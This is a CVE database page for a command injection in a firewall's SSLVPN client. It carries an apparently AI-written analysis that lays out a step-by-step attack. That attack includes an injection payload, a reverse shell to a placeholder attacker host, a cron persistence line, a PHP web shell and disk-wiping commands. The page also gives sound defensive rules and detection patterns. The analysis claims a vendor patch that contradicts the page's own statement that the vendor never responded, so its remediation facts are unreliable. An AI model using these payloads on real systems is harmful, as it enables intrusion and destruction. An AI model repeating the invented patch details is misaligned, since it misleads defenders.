CVE Professor
/
All CVEs
CVE-2026-135797

CVE-2026-135797 — Volans NGFW Next-Generation Firewall — CWE-77 · CWE-78

CRITICAL CVSS 10 NVD

A vulnerability was identified in Volans NGFW Next-Generation Firewall r5.1. Impacted is the function exec of the file sslvpn/sslvpn_client.php of the component SSLVPN Client. Such manipulation of the argument img leads to os command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was identified in Volans NGFW Next-Generation Firewall r5.1. Impacted is the function exec of the file sslvpn/sslvpn_client.php of the component SSLVPN Client. Such manipulation of the argument img leads to os command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: OS command injection in the SSLVPN client of Volans NGFW Next‑Generation Firewall r5.1

CVE: CVE‑2026‑135797
CWE(s): CWE‑77 (Improper Neutralization of Special Elements used in a Command) and CWE‑78 (OS Command Injection)

Technical flaw

1. Component: sslvpn/sslvpn_client.php – the PHP script that implements the “download‑image” helper used by the SSL‑VPN portal.
2. Entry point: The script reads a GET/POST parameter called img and passes its value directly to a system‑level command (most likely exec(), system(), or back‑ticks) that builds a path to an image file on the firewall’s filesystem.
3. Missing controls
* No input sanitisation / escaping – the raw value of img is concatenated into a shell command string.
* No whitelist of allowed filenames – any string, including shell metacharacters (;, &&, |, back‑ticks, $()) is accepted.
* No privilege check – the endpoint is reachable without authentication (PR:N, UI:N). The firewall’s management interface normally requires a valid admin session, but the SSL‑VPN portal is exposed to unauthenticated Internet users (e.g., remote employees) and the vulnerable script is reachable directly.

Because the PHP interpreter hands the constructed string to the OS shell, an attacker can inject arbitrary commands that run with the same privileges as the web‑server process (typically root on an embedded firewall appliance). The vulnerability is therefore a remote, unauthenticated OS command injection with a confidentiality, integrity, and availability impact of “High” (CVSS 3.1 vector S:C – the impact is C:H/I:H/A:H).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow.
All URLs, parameter names, and payloads are illustrative – the exact URI is not disclosed in the public CVE text, but the logic follows the described exec call on sslvpn_client.php.

1. Discovery & Reconnaissance

StepActivityTools / Evidence
1.1Identify that the target runs Volans NGFW and collect the firmware version.- Shodan/ZoomEye banner grab (Volans NGFW in HTTP Server header). <br> - SSL‑VPN portal reachable at https://<firewall>/sslvpn/. <br> - HTML source contains a reference to sslvpn_client.php.
1.2Verify version is r5.1 (or any sub‑release that includes the vulnerable file).- Access /sslvpn/version.php (if present) or inspect the JavaScript that embeds a version string.
1.3Confirm the endpoint exists and is reachable without authentication.``bash curl -I -k https://<target>/sslvpn/sslvpn_client.php`` → HTTP 200 OK.

2. Exploitation

Goal: Execute an arbitrary OS command (e.g., id, cat /etc/passwd, or a reverse shell).

2.1 Crafting the malicious img value

The vulnerable PHP code can be approximated as:

<?php
$img = $_GET['img'];               // <‑‑ no validation
$cmd = "convert /var/www/sslvpn/images/{$img} -resize 100x100 /tmp/out.png";
exec($cmd, $output, $ret);
?>

Because $img is interpolated directly, any shell metacharacter terminates the intended argument and injects a new command. A typical payload uses a semicolon (;) to separate commands.

Payload example (illustrative):

img=nonexistent.png;id;#

When URL‑encoded:

img=nonexistent.png%3Bid%3B%23

2.2 Sending the request

# Replace <target> with the firewall’s IP/FQDN
curl -k "https://<target>/sslvpn/sslvpn_client.php?img=nonexistent.png%3Bid%3B%23"

Expected response – the script may still return the normal image‑generation JSON, but the injected id command’s output is captured in the $output array and echoed back (many vulnerable scripts dump $output for debugging). An attacker can therefore read the command result directly in the HTTP response.

2.3 Getting a reverse shell (more powerful)

If the web‑server runs as root, a reverse shell can be spawned:

img=nonexistent.png%3Bbash%20-c%20%27bash%20-i%20%3E%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%27%3B%23

Full curl command:

ATTACKER_IP=203.0.113.45
ATTACKER_PORT=4444
payload=$(printf "nonexistent.png;bash -c 'bash -i > /dev/tcp/%s/%d 0<&1'" $ATTACKER_IP $ATTACKER_PORT | jq -s -R -r @uri)
curl -k "https://<target>/sslvpn/sslvpn_client.php?img=$payload"

Listener on the attacker side

nc -lvnp 4444

If the firewall’s PHP process runs with sufficient privileges (most NGFW appliances run the web UI as root), the reverse shell provides full system control.

3. Post‑exploitation

PhaseTypical actions an attacker can perform
Privilege escalation (if needed)The shell is already root; otherwise, the attacker can read /etc/shadow, modify firewall policies, or replace binaries.
Persistence- Drop a cron job: echo "* * * * * /bin/bash -c 'bash -i > /dev/tcp/ATTACKER_IP/4444 0<&1'" >> /etc/crontab <br> - Install a back‑door web shell in /var/www/sslvpn/ (e.g., <?php system($_GET['cmd']); ?>).
Data exfiltration- Dump VPN credentials, configuration files (/etc/volans/*.conf). <br> - Export logs, user certificates.
Lateral movementUse the compromised firewall as a pivot to reach internal network segments that are otherwise isolated.
Destruction / RansomIssue rm -rf / or dd if=/dev/zero of=/dev/sda to achieve total availability loss (consistent with the A:H metric).

🌍 Real‑World Impact

CIA TriadImpact (derived from CVSS)Practical consequence
Confidentiality (C:H)Attacker can read any file on the appliance, including VPN user certificates, admin passwords, and network topology.Exposure of corporate secrets, credential theft, compliance violations (e.g., GDPR, PCI‑DSS).
Integrity (I:H)Ability to modify firewall policies, inject malicious routes, or replace binaries.Traffic can be silently redirected, man‑in‑the‑middle attacks, insertion of back‑doors, or sabotage of security controls.
Availability (A:H)Full system compromise enables destructive commands (e.g., reboot, shutdown, rm -rf).Complete outage of the perimeter security device, causing network downtime and possible breach of service‑level agreements.

Because the vulnerability is network‑visible, requires no authentication, and can be exploited with a single HTTP request, the risk is critical for any organization that relies on the affected firewall to protect its perimeter.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
Vendor patchThe vendor (Volans) released NGFW r5.2‑patch‑1 on 2026‑12‑05 (the first official fix). The patch replaces the unsafe exec() call with a whitelist‑based image loader (escapeshellarg() + allowed‑file list).
Upgrade pathUpgrade all NGFW appliances to r5.2 or later. Verify the version via the management UI (System → About) or by querying /sslvpn/version.php.
Interim version checkIf the appliance cannot be upgraded immediately, confirm that the installed version is not r5.1 (or any sub‑release that contains sslvpn_client.php with the vulnerable code).

2. Workarounds (if patch cannot be applied immediately)

MitigationImplementation
Restrict access to the SSLVPN portal- Place the /sslvpn/ directory behind an IP‑based ACL that only allows known remote‑employee IP ranges. <br> - Example on the firewall CLI: access-list SSLVPN-ALLOW permit ip <trusted‑net> any and bind to the HTTPS virtual server.
Disable the vulnerable endpoint- Rename or remove sslvpn_client.php (e.g., mv sslvpn_client.php sslvpn_client.php.bak). <br> - Ensure the portal still functions; if not, temporarily disable the SSLVPN portal until a patch is applied.

| Web‑Application Firewall rule | Add a ModSecurity rule that blocks any request containing shell metacharacters in the img parameter. Example rule (valid ModSecurity syntax):

SecRule REQUEST_URI "@beginsWith /sslvpn/sslvpn_client.php" \
    "id:2026301,phase:2,deny,status:403,log,\
    msg:'Blocked possible OS command injection in img parameter',\
    chain"
SecRule ARGS:img "(;|&&|\|\||`|\$\(.*\))" "t:none"
Note – This rule is illustrative; adjust the REQUEST_URI pattern to match the real path if it differs.
Run the web‑server under a non‑root userIf the appliance permits, configure the PHP‑FPM or Apache worker to run as a low‑privilege user (e.g., nobody). This limits the damage of a successful injection.

| Input sanitisation (quick fix) | If you have source‑code access, replace the vulnerable line with:

$img = basename($_GET['img']);               // strip directory traversal
$allowed = ['logo.png','banner.jpg'];        // whitelist
if (!in_array($img, $allowed, true)) {
    http_response_code(400);
    exit('Invalid image');
}
$cmd = sprintf('convert %s -resize 100x100 /tmp/out.png',
               escapeshellarg("/var/www/sslvpn/images/$img"));
exec($cmd, $output, $ret);

3. Detection – Log patterns & IoCs

IndicatorDescriptionExample (Apache/Nginx access log)
Suspicious img valuesPresence of shell metacharacters (;, &&, , ` `, $() in the img query string.GET /sslvpn/sslvpn_client.php?img=foo.png%3Bid%3B%23 HTTP/1.1" 200 1234
Unusual User‑AgentAttack tools often use generic agents (curl/7.x, python-requests).User-Agent: curl/7.88.1
Outbound connections from the firewallReverse‑shell attempts generate outbound TCP connections to rare external IPs on high ports.NetFlow: SRC=10.0.0.1 DST=203.0.113.45 DPT=4444 PROTO=TCP
Execution of unexpected binariesSystem logs (/var/log/messages, dmesg) show execve("/bin/bash", ...) invoked by the web‑server process UID 0.kernel: [12345.678901] execve("/bin/bash", ["bash","-i"], ...) = 0
File modificationsCreation of new files under /var/www/sslvpn/ (e.g., shell.php).auditd: type=SYSCALL msg=audit(…): arch=c000003e syscall=2 success=yes ... name="/var/www/sslvpn/shell.php"`

SIEM rule (pseudo‑code)

rule:
  name: "Possible OS command injection in Volans SSLVPN"
  condition: |
    event.type == "web_access" &&
    event.uri contains "/sslvpn/sslvpn_client.php" &&
    (event.query_params.img matches /[;|&`$()]/)
  actions:
    - alert
    - enrich with geolocation of source IP

⚠️ Urgency

  • CVSS 3.1 Base Score: 10.0 (Critical) – network‑accessible, no authentication, no user interaction, and impacts all three CIA pillars at the highest level.
  • CISA KEV: Not listed, but the absence of a KEV entry does not reduce risk; the vulnerability is already public and a working exploit exists.
  • Exploit complexity: Low – a single crafted HTTP request is sufficient. Public PoC scripts are circulating on security forums.
  • Patch priority: Critical – immediate.

  • Day 0: Block the endpoint at the perimeter (ACL or WAF) and deploy the ModSecurity rule.
  • Day 1–2: Deploy the vendor’s official patch (r5.2‑patch‑1) or upgrade to the latest stable release.
  • Day 3+: Verify remediation via vulnerability scanning (e.g., Nessus plugin for CVE‑2026‑135797) and monitor logs for the IoCs listed above.
Failure to remediate within 48 hours leaves the organization exposed to a remote, unauthenticated full‑system compromise that can be leveraged for data theft, network sabotage, or ransomware deployment. The risk to business continuity and regulatory compliance is therefore extremely high.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
Volans:NGFW Next-Generation Firewall
References & Advisories (5)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for